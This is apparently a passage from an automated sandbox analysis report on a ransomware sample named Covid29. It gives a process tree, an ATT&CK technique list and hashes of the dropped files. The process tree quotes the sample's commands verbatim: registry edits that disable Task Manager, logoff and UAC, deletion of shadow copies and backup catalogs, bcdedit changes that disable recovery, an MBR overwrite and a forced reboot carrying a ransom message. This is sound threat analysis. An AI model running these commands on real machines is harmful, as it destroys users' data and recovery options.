  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2640.tmp\TrojanRansomCovid29.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  PID:1648
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2640.tmp\fakeerror.vbs"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5100
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4024
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2680
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3392
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4736
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2700
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3068
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1740
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2344
- - C:\Users\Admin\AppData\Local\Temp\2640.tmp\mbr.exe
    mbr.exe
    3⤵
    - Executes dropped EXE
    - Writes to the Master Boot Record (MBR)
    - System Location Discovery: System Language Discovery
    PID:4636
- - C:\Users\Admin\AppData\Local\Temp\2640.tmp\Cov29Cry.exe
    Cov29Cry.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4740
  - - C:\Users\Admin\AppData\Roaming\svchost.exe
      "C:\Users\Admin\AppData\Roaming\svchost.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Drops desktop.ini file(s)
      Sets desktop wallpaper using registry
      Modifies registry class
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2932
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
        5⤵
        
        PID:3860
      - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:228
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4432
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
        5⤵
        
        PID:3968
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:492
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2244
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
        5⤵
        
        PID:2272
      - C:\Windows\system32\wbadmin.exe
        
        wbadmin delete catalog -quiet
        6⤵
        Deletes backup catalog
        
        PID:2840
    - - C:\Windows\system32\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
        5⤵
        
        PID:312
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2404
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 9
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3472
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im explorer.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1040
- - C:\Users\Admin\AppData\Local\Temp\2640.tmp\Cov29LockScreen.exe
    Cov29LockScreen.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:3480

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:2900

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4588

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3932

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3224

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:2184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Management Instrumentation

T1047

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
826c7cac03e3ae47bfe2a7e50281605e

SHA1
100fbea3e078edec43db48c3312fbbf83f11fca0

SHA256
239b1d7cc6f76e1d1832b0587664f114f38a21539cb8548e25626ed5053ea2ab

SHA512
a82f3c817a6460fd8907a4ac6ab37c2129fb5466707edcfb565c255680d7f7212a5669fe2a42976150f16e4e549ea8310078f22ed35514ee1b7b45b46d8cc96e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
02a4b762e84a74f9ee8a7d8ddd34fedb

SHA1
4a870e3bd7fd56235062789d780610f95e3b8785

SHA256
366e497233268d7cdf699242e4b2c7ecc1999d0a84e12744f5af2b638e9d86da

SHA512
19028c45f2e05a0cb32865a2554513c1536bf9da63512ff4e964c94a3e171f373493c7787d2d2a6df8012648bbefab63a9de924f119c50c39c727cf81bdc659f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
261B

MD5
2c2e6472d05e3832905f0ad4a04d21c3

SHA1
007edbf35759af62a5b847ab09055e7d9b86ffcc

SHA256
283d954fa21caa1f3b4aba941b154fab3e626ff27e7b8029f5357872c48cbe03

SHA512
8c4ce1ea02da6ffb7e7041c50528da447d087d9ee3c9f4a8c525d2d856cf48e46f5dd9a1fedd23dd047634e719c8886457f7e7240aa3cc36f1a6216e4c00ee37

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
f5631eb5945983abfc1f52b05336dcdb

SHA1
1b6382037bfd34c83d3f25821f034b3e1f4fd614

SHA256
5fb4b354e3dba110a5d3ed2632412de305b9652d90e8c518b0d22a002b95c622

SHA512
9db67056bf591a1061c743e626e01166082eeabd783de4fb1360133e0fcd43ea312c8d89e1571f1098365f1404ce82332882bcabe574f857ff53ef50012e3858

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
0b0a8de6b1a2010aca5726a5c2957f14

SHA1
6e4aaeecc1f4da6274fc3b8057a910621d032caf

SHA256
9d06990e9344c41fe93ea5d5c0194c4c8018f6849881e8df392b98db5c746bbf

SHA512
503f4073b461a129a502f3f37e3d8383b7caa21816306485581f3604b9e7362e3a40983275d343c100fbe898771fd3a3415f043ee959a728c39eec5cc073ed35

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
53fcbdced3545b748989c92d956b5387

SHA1
175dc1b57d358c80ec8876cdb1e4a10999849239

SHA256
47bf417d84bfa6f82f0e679c7ffb3911b32a6eaab0385b36a1c836035589ec3b

SHA512
ffb2192d4b88126ca399ec6bdb66f343a95a1ce089f0465c7cca92ba200fede8b2193790118b26770168fd42e33747831b227c6a85e8ff48c293430c9aef3119

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
c296537a395ebf120d771a10ee7ea78c

SHA1
ed9aca6d589171eb58c03416dd2a94a44702bad3

SHA256
75bed4fb6bc56f69c9a70709748f1a4a74daea2561ea083532fcbe9f48acee5a

SHA512
04ac22acb0806135e724b56229362f5ef7b404be2d463a169eea8c0f1b2011711855567c398379978a6166a39e022408a7c06e99efcc136411c9128526b317c6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
92c85c22c65ec81ceeaf9a60b83a46fc

SHA1
6312f127861abd2b8009beffa0f0fa90dc8d5595

SHA256
432eb1b1ea027cb8135373943d4a28c19fcdb37f8d37de100cb008a3ab7a8597

SHA512
9e6668cccd026a4254967d981687cb788a5ad2d23012d1214e95017c6b9ecf83fff6d07098eef3307eb13577b470a229f7debe7aaa24927d7c64d56291d6851d

Download Submit
C:\Users\Admin\AppData\Local\Temp\2640.tmp\Cov29Cry.exe

Filesize
103KB

MD5
8bcd083e16af6c15e14520d5a0bd7e6a

SHA1
c4d2f35d1fdb295db887f31bbc9237ac9263d782

SHA256
b4f78ff66dc3f5f8ddd694166e6b596d533830792f9b5f1634d3f5f17d6a884a

SHA512
35999577be0626b50eeab65b493d48af2ab42b699f7241d2780647bf7d72069216d99f5f708337a109e79b9c9229613b8341f44c6d96245fd1f3ac9f05814d6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\2640.tmp\Cov29LockScreen.exe

Filesize
48KB

MD5
f724c6da46dc54e6737db821f9b62d77

SHA1
e35d5587326c61f4d7abd75f2f0fc1251b961977

SHA256
6cde4a9f109ae5473703c4f5962f43024d71d2138cbd889223283e7b71e5911c

SHA512
6f83dd7821828771a9cae34881c611522f6b5a567f5832f9e4b9b4b59bf495f40ad78678bd86cba59d32ea8644b4aa5f052552774fea142b9d6da625b55b6afc

Download Submit
C:\Users\Admin\AppData\Local\Temp\2640.tmp\TrojanRansomCovid29.bat

Filesize
1KB

MD5
57f0432c8e31d4ff4da7962db27ef4e8

SHA1
d5023b3123c0b7fae683588ac0480cd2731a0c5e

SHA256
b82e64e533789c639d8e193b78e06fc028ea227f55d7568865120be080179afc

SHA512
bc082486503a95f8e2ce7689d31423386a03054c5e8e20e61250ca7b7a701e98489f5932eba4837e05ec935057f18633798a10f6f84573a95fcf086ee7cabcbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\2640.tmp\fakeerror.vbs

Filesize
144B

MD5
c0437fe3a53e181c5e904f2d13431718

SHA1
44f9547e7259a7fb4fe718e42e499371aa188ab6

SHA256
f2571f03eb9d5ee4dca29a8fec1317ded02973c5dd233d582f56cebe98544f22

SHA512
a6b488fc74dc69fc4227f92a06deb297d19cd54b0e07659f9c9a76ce15d1ef1d8fa4d607acdd03d30d3e2be2a0f59503e27fc95f03f3006e137fa2f92825e7e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\2640.tmp\mbr.exe.danger

Filesize
1.3MB

MD5
35af6068d91ba1cc6ce21b461f242f94

SHA1
cb054789ff03aa1617a6f5741ad53e4598184ffa

SHA256
9ac99df89c676a55b48de00384506f4c232c75956b1e465f7fe437266002655e

SHA512
136e3066c6e44af30691bcd76d9af304af0edf69f350211cf74d6713c4c952817a551757194b71c3b49ac3f87a6f0aa88fb80eb1e770d0f0dd82b29bfce80169

Download Submit
C:\Users\Admin\Desktop\covid29-is-here.txt

Filesize
861B

MD5
c53dee51c26d1d759667c25918d3ed10

SHA1
da194c2de15b232811ba9d43a46194d9729507f0

SHA256
dd5b3d185ae1809407e7822de4fced945115b48cc33b2950a8da9ebd77a68c52

SHA512
da41cef03f1b5f21a1fca2cfbf1b2b180c261a75d391be3a1ba36e8d4d4aefab8db024391bbee06b99de0cb0b8eb8c89f2a304c27e20c0af171b77db33b2d12c

Download Submit
C:\Users\Admin\Downloads\Covid29 Ransomware.zip

Filesize
1.7MB

MD5
272d3e458250acd2ea839eb24b427ce5

SHA1
fae7194da5c969f2d8220ed9250aa1de7bf56609

SHA256
bbb5c6b4f85c81a323d11d34629776e99ca40e983c5ce0d0a3d540addb1c2fe3

SHA512
d05bb280775515b6eedf717f88d63ed11edbaae01321ec593ecc0725b348e9a0caacf7ebcd2c25a6e0dc79b2cdae127df5aa380b48480332a6f5cd2b32d4e55c

Download Submit
C:\Users\Admin\Downloads\Covid29 Ransomware.zip:Zone.Identifier

Filesize
161B

MD5
93b9a7459105d67aeeb83f60cea4fc05

SHA1
ee57a4a3bbb124ad05e4cbc23180f1a9794f3a25

SHA256
0c1672afdb5f990ae91ea3455ccc9c411dc428655aff9df59658c46069da50cf

SHA512
c8f87850928ad3d659151ef712b27dbabfcb5fb7dd2f2e273f1eefaae69253746a0efffabb5b17e5f2be705a10b197c2c33ec5d07de649546badb332182977e2

Download Submit
memory/3340-187-0x0000000000400000-0x00000000005D5000-memory.dmp

Filesize
1.8MB

Download
memory/3340-192-0x0000000000400000-0x00000000005D5000-memory.dmp

Filesize
1.8MB

Download
memory/3340-77-0x0000000000400000-0x00000000005D5000-memory.dmp

Filesize
1.8MB

Download
memory/4636-109-0x0000000000400000-0x00000000004D8000-memory.dmp

Filesize
864KB

Download
memory/4740-110-0x0000000000AE0000-0x0000000000B00000-memory.dmp

Filesize
128KB

Download